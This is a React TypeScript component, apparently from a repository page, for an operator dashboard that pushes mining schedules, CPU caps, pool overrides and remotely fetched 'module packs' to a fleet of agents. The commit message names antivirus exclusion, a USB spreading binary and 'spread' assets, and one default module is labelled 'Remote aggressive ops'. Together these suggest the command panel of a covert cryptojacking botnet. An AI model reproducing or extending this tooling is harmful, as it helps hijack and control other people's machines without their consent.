Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
446 lines
17 KiB
TypeScript
446 lines
17 KiB
TypeScript
import { useEffect, useMemo, useState } from 'react';
|
|
import { api } from '../../api/client';
|
|
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
|
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
|
import { useFleetGroups } from '../../hooks/useFleetGroups';
|
|
import type { FleetModuleManifest } from '../../types';
|
|
import NeonCard from '../NeonCard/NeonCard';
|
|
import { HelpTip } from '../HelpTip';
|
|
import './FleetRuntimePanel.css';
|
|
|
|
type TargetMode = 'all' | 'group';
|
|
type WizardStep = 1 | 2 | 3 | 4;
|
|
|
|
const POLICY_STEPS: { step: WizardStep; label: string }[] = [
|
|
{ step: 1, label: 'Pick target' },
|
|
{ step: 2, label: 'Set policy' },
|
|
{ step: 3, label: 'Confirm push' },
|
|
{ step: 4, label: 'Live acks' },
|
|
];
|
|
|
|
function stepStatus(current: WizardStep, step: WizardStep): 'done' | 'active' | 'pending' {
|
|
if (step < current) return 'done';
|
|
if (step === current) return 'active';
|
|
return 'pending';
|
|
}
|
|
|
|
export default function FleetRuntimePanel() {
|
|
const { agents, policyAcks } = useWebSocket();
|
|
const { groups } = useFleetGroups();
|
|
const [modules, setModules] = useState<FleetModuleManifest[]>([]);
|
|
const [wizardStep, setWizardStep] = useState<WizardStep>(1);
|
|
const [targetMode, setTargetMode] = useState<TargetMode>('all');
|
|
const [groupId, setGroupId] = useState('');
|
|
const [selectedModule, setSelectedModule] = useState('crucible_ops');
|
|
const [miningMode, setMiningMode] = useState('scheduled');
|
|
const [scheduleStart, setScheduleStart] = useState('22:00');
|
|
const [scheduleEnd, setScheduleEnd] = useState('06:00');
|
|
const [maxCpu, setMaxCpu] = useState(75);
|
|
const [poolHost, setPoolHost] = useState('');
|
|
const [poolPort, setPoolPort] = useState(0);
|
|
const [policyMsg, setPolicyMsg] = useState('');
|
|
const [moduleMsg, setModuleMsg] = useState('');
|
|
const [pushingPolicy, setPushingPolicy] = useState(false);
|
|
const [pushingModule, setPushingModule] = useState(false);
|
|
const [pushId, setPushId] = useState<string | null>(null);
|
|
const [expectedSent, setExpectedSent] = useState(0);
|
|
useModalAmbientDuck(wizardStep === 3);
|
|
|
|
useEffect(() => {
|
|
api.listFleetModules().then(setModules).catch(() => setModules([]));
|
|
}, []);
|
|
|
|
const onlineCount = useMemo(() => agents.filter((a) => a.status === 'online').length, [agents]);
|
|
|
|
const targetLabel = useMemo(() => {
|
|
if (targetMode === 'all') return `All online (${onlineCount})`;
|
|
const g = groups.find((x) => x.id === groupId);
|
|
return g ? `${g.name} (${g.agentIds.length} agents)` : 'No group selected';
|
|
}, [targetMode, groupId, groups, onlineCount]);
|
|
|
|
const ackCount = useMemo(() => {
|
|
if (!pushId) return 0;
|
|
const ids = new Set<string>();
|
|
for (const ack of policyAcks) {
|
|
if (ack.push_id === pushId && ack.agent_id) ids.add(ack.agent_id);
|
|
}
|
|
return ids.size;
|
|
}, [policyAcks, pushId]);
|
|
|
|
const resolveAgentIds = (): string[] => {
|
|
if (targetMode === 'all') return ['all'];
|
|
const g = groups.find((x) => x.id === groupId);
|
|
if (!g || g.agentIds.length === 0) return [];
|
|
return g.agentIds;
|
|
};
|
|
|
|
const targetReady = targetMode === 'all' || (groupId !== '' && resolveAgentIds().length > 0);
|
|
|
|
const handlePushPolicy = async () => {
|
|
const agent_ids = resolveAgentIds();
|
|
if (agent_ids.length === 0) {
|
|
setPolicyMsg('Select a group with agents or use All online.');
|
|
return;
|
|
}
|
|
setPushingPolicy(true);
|
|
setPolicyMsg('');
|
|
try {
|
|
const policy: Record<string, unknown> = {
|
|
mining_mode: miningMode,
|
|
max_cpu_usage_pct: maxCpu,
|
|
};
|
|
if (miningMode === 'scheduled') {
|
|
policy.schedule_start = scheduleStart;
|
|
policy.schedule_end = scheduleEnd;
|
|
}
|
|
if (poolHost.trim()) {
|
|
policy.pool_host = poolHost.trim();
|
|
if (poolPort > 0) policy.pool_port = poolPort;
|
|
}
|
|
const res = await api.pushFleetPolicy({ agent_ids, policy });
|
|
if (res.success) {
|
|
setPushId(res.push_id ?? null);
|
|
setExpectedSent(res.sent ?? 0);
|
|
setWizardStep(4);
|
|
setPolicyMsg(
|
|
`Policy dispatched to ${res.sent} agent(s)${res.failed ? ` (${res.failed} delivery failures)` : ''}. Waiting for live acks…`,
|
|
);
|
|
} else {
|
|
setPolicyMsg(res.error || 'No agents received the policy.');
|
|
}
|
|
} catch (e) {
|
|
setPolicyMsg(e instanceof Error ? e.message : 'Push failed');
|
|
} finally {
|
|
setPushingPolicy(false);
|
|
}
|
|
};
|
|
|
|
const handlePushModule = async () => {
|
|
const agent_ids = resolveAgentIds();
|
|
if (agent_ids.length === 0) {
|
|
setModuleMsg('Select a group with agents or use All online.');
|
|
return;
|
|
}
|
|
setPushingModule(true);
|
|
setModuleMsg('');
|
|
try {
|
|
const res = await api.pushFleetModule({ agent_ids, module: selectedModule });
|
|
setModuleMsg(
|
|
res.success
|
|
? `Module "${res.module}" queued for ${res.sent} agent(s).`
|
|
: res.error || 'No agents received the module push.',
|
|
);
|
|
} catch (e) {
|
|
setModuleMsg(e instanceof Error ? e.message : 'Push failed');
|
|
} finally {
|
|
setPushingModule(false);
|
|
}
|
|
};
|
|
|
|
const resetWizard = () => {
|
|
setWizardStep(1);
|
|
setPushId(null);
|
|
setExpectedSent(0);
|
|
setPolicyMsg('');
|
|
};
|
|
|
|
return (
|
|
<>
|
|
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
|
|
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
|
|
<h2 className="font-display">Live Fleet Policy <HelpTip field="fleet_runtime_policy" /></h2>
|
|
<p className="section-desc">
|
|
Push live mining rules to connected workers — schedule, CPU cap, and optional pool overrides apply in memory
|
|
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
|
|
panel never replaces the Forge builder.
|
|
</p>
|
|
|
|
<div className="forge-mission-steps fleet-policy-steps" aria-label="Policy push steps">
|
|
{POLICY_STEPS.map(({ step, label }) => {
|
|
const status = stepStatus(wizardStep, step);
|
|
return (
|
|
<span key={step} className={`forge-mission-step ${status}`}>
|
|
{status === 'done' ? '✓' : status === 'active' ? '●' : '○'} {step}. {label}
|
|
</span>
|
|
);
|
|
})}
|
|
</div>
|
|
|
|
{wizardStep === 1 && (
|
|
<div className="fleet-policy-step-panel operator-interactive">
|
|
<h3 className="fleet-policy-step-title">Step 1 — Pick target</h3>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-target-mode">
|
|
Target fleet
|
|
</label>
|
|
<select
|
|
id="fleet-target-mode"
|
|
className="input"
|
|
value={targetMode}
|
|
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
|
|
>
|
|
<option value="all">All online ({onlineCount})</option>
|
|
<option value="group">Fleet group</option>
|
|
</select>
|
|
</div>
|
|
{targetMode === 'group' && (
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-group">
|
|
Group
|
|
</label>
|
|
<select
|
|
id="fleet-group"
|
|
className="input"
|
|
value={groupId}
|
|
onChange={(e) => setGroupId(e.target.value)}
|
|
>
|
|
<option value="">Select group…</option>
|
|
{groups.map((g) => (
|
|
<option key={g.id} value={g.id}>
|
|
{g.name} ({g.agentIds.length})
|
|
</option>
|
|
))}
|
|
</select>
|
|
</div>
|
|
)}
|
|
</div>
|
|
<div className="fleet-policy-step-actions">
|
|
<button
|
|
type="button"
|
|
className="btn btn-primary"
|
|
disabled={!targetReady}
|
|
onClick={() => setWizardStep(2)}
|
|
>
|
|
Next — Set policy
|
|
</button>
|
|
</div>
|
|
</div>
|
|
)}
|
|
|
|
{wizardStep === 2 && (
|
|
<div className="fleet-policy-step-panel operator-interactive">
|
|
<h3 className="fleet-policy-step-title">Step 2 — Set policy</h3>
|
|
<p className="form-hint">Target: {targetLabel}</p>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-mining-mode">
|
|
Mining mode
|
|
</label>
|
|
<select
|
|
id="fleet-mining-mode"
|
|
className="input"
|
|
value={miningMode}
|
|
onChange={(e) => setMiningMode(e.target.value)}
|
|
>
|
|
<option value="always">Always</option>
|
|
<option value="idle">Idle</option>
|
|
<option value="scheduled">Scheduled</option>
|
|
</select>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-max-cpu">
|
|
Max CPU %
|
|
</label>
|
|
<input
|
|
id="fleet-max-cpu"
|
|
type="number"
|
|
className="input"
|
|
min={10}
|
|
max={100}
|
|
value={maxCpu}
|
|
onChange={(e) => setMaxCpu(parseInt(e.target.value, 10) || 75)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
{miningMode === 'scheduled' && (
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-sched-start">
|
|
Mine from
|
|
</label>
|
|
<input
|
|
id="fleet-sched-start"
|
|
type="time"
|
|
className="input"
|
|
value={scheduleStart}
|
|
onChange={(e) => setScheduleStart(e.target.value)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-sched-end">
|
|
Mine until
|
|
</label>
|
|
<input
|
|
id="fleet-sched-end"
|
|
type="time"
|
|
className="input"
|
|
value={scheduleEnd}
|
|
onChange={(e) => setScheduleEnd(e.target.value)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
)}
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-pool-host">
|
|
Pool host (optional)
|
|
</label>
|
|
<input
|
|
id="fleet-pool-host"
|
|
type="text"
|
|
className="input mono"
|
|
placeholder="leave blank to keep baked pool"
|
|
value={poolHost}
|
|
onChange={(e) => setPoolHost(e.target.value)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-pool-port">
|
|
Pool port
|
|
</label>
|
|
<input
|
|
id="fleet-pool-port"
|
|
type="number"
|
|
className="input"
|
|
min={0}
|
|
value={poolPort || ''}
|
|
onChange={(e) => setPoolPort(parseInt(e.target.value, 10) || 0)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
<div className="fleet-policy-step-actions">
|
|
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(1)}>
|
|
Back
|
|
</button>
|
|
<button type="button" className="btn btn-primary" onClick={() => setWizardStep(3)}>
|
|
Next — Review
|
|
</button>
|
|
</div>
|
|
</div>
|
|
)}
|
|
|
|
{wizardStep === 3 && (
|
|
<div className="fleet-policy-step-panel operator-interactive">
|
|
<h3 className="fleet-policy-step-title">Step 3 — Confirm push</h3>
|
|
<div className="fleet-policy-review">
|
|
<p>
|
|
<strong>Target:</strong> {targetLabel}
|
|
</p>
|
|
<p>
|
|
<strong>Mining:</strong> {miningMode}
|
|
{miningMode === 'scheduled' ? ` · ${scheduleStart} → ${scheduleEnd}` : ''}
|
|
</p>
|
|
<p>
|
|
<strong>CPU cap:</strong> {maxCpu}%
|
|
</p>
|
|
<p>
|
|
<strong>Pool override:</strong>{' '}
|
|
{poolHost.trim() ? `${poolHost.trim()}${poolPort > 0 ? `:${poolPort}` : ''}` : 'none (keep baked)'}
|
|
</p>
|
|
</div>
|
|
<div className="fleet-policy-step-actions">
|
|
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(2)}>
|
|
Back
|
|
</button>
|
|
<button
|
|
type="button"
|
|
className="btn btn-primary"
|
|
onClick={() => void handlePushPolicy()}
|
|
disabled={pushingPolicy || !targetReady}
|
|
>
|
|
{pushingPolicy ? 'Pushing…' : 'Confirm & push policy'}
|
|
</button>
|
|
</div>
|
|
</div>
|
|
)}
|
|
|
|
{wizardStep === 4 && (
|
|
<div className="fleet-policy-step-panel operator-interactive" aria-live="polite">
|
|
<h3 className="fleet-policy-step-title">Step 4 — Live acknowledgements</h3>
|
|
<div className="fleet-policy-ack-banner">
|
|
<span className="fleet-policy-ack-count font-display">{ackCount}</span>
|
|
<span className="fleet-policy-ack-label">
|
|
agent{ackCount === 1 ? '' : 's'} acknowledged
|
|
{expectedSent > 0 ? ` · ${expectedSent} dispatched` : ''}
|
|
</span>
|
|
</div>
|
|
{pushId && <p className="form-hint mono-sm">push_id: {pushId}</p>}
|
|
{policyMsg && <p className="form-hint">{policyMsg}</p>}
|
|
<div className="fleet-policy-step-actions">
|
|
<button type="button" className="btn btn-outline" onClick={resetWizard}>
|
|
Push another policy
|
|
</button>
|
|
</div>
|
|
</div>
|
|
)}
|
|
</NeonCard>
|
|
|
|
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
|
|
<h2 className="font-display">Push Module to Fleet <HelpTip field="fleet_runtime_modules" /></h2>
|
|
<p className="section-desc">
|
|
Stage signed feature packs from <code className="mono-sm">data/modules/</code> — agents fetch via{' '}
|
|
<code className="mono-sm">GET /api/v1/agent/module/{name}</code> and enable flags without a full
|
|
re-forge. Uses the same target picker as Live Fleet Policy above.
|
|
</p>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-target-mode-module">
|
|
Target
|
|
</label>
|
|
<select
|
|
id="fleet-target-mode-module"
|
|
className="input"
|
|
value={targetMode}
|
|
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
|
|
>
|
|
<option value="all">All online ({onlineCount})</option>
|
|
<option value="group">Fleet group</option>
|
|
</select>
|
|
</div>
|
|
{targetMode === 'group' && (
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-group-module">
|
|
Group
|
|
</label>
|
|
<select id="fleet-group-module" className="input" value={groupId} onChange={(e) => setGroupId(e.target.value)}>
|
|
<option value="">Select group…</option>
|
|
{groups.map((g) => (
|
|
<option key={g.id} value={g.id}>
|
|
{g.name} ({g.agentIds.length})
|
|
</option>
|
|
))}
|
|
</select>
|
|
</div>
|
|
)}
|
|
</div>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label" htmlFor="fleet-module">
|
|
Module pack
|
|
</label>
|
|
<select
|
|
id="fleet-module"
|
|
className="input"
|
|
value={selectedModule}
|
|
onChange={(e) => setSelectedModule(e.target.value)}
|
|
>
|
|
{(modules.length ? modules : [{ name: 'crucible_ops', description: 'Remote aggressive ops' }]).map(
|
|
(m) => (
|
|
<option key={m.name} value={m.name}>
|
|
{m.name} — {m.description || ('version' in m ? m.version : '')}
|
|
</option>
|
|
),
|
|
)}
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<button type="button" className="btn btn-outline" onClick={handlePushModule} disabled={pushingModule}>
|
|
{pushingModule ? 'Pushing…' : 'Push module'}
|
|
</button>
|
|
{moduleMsg && <p className="form-hint" style={{ marginTop: '0.5rem' }}>{moduleMsg}</p>}
|
|
</NeonCard>
|
|
</>
|
|
);
|
|
}
|